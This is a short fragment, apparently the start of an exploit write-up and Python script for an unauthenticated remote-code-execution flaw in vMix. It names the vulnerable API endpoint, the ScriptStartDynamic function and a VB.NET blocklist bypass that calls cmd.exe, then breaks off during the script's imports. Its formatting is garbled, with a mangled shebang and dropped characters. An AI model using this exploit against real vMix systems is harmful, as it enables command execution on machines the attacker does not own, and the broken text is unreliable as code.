vMix ScriptStartDynamic blocklist bypass RCE

Unauthenticated GET /api/?Function=ScriptStartDynamic&Value=... runs attacker VB.NET that calls Process.Startcmd.exe, /c .... !/usr/bin/env python3 -- coding: utf-8 -- """vMix ScriptStartDynamic VB.NET blocklist bypass RCE.""" from future import annotations import re from urllib.parse import quot...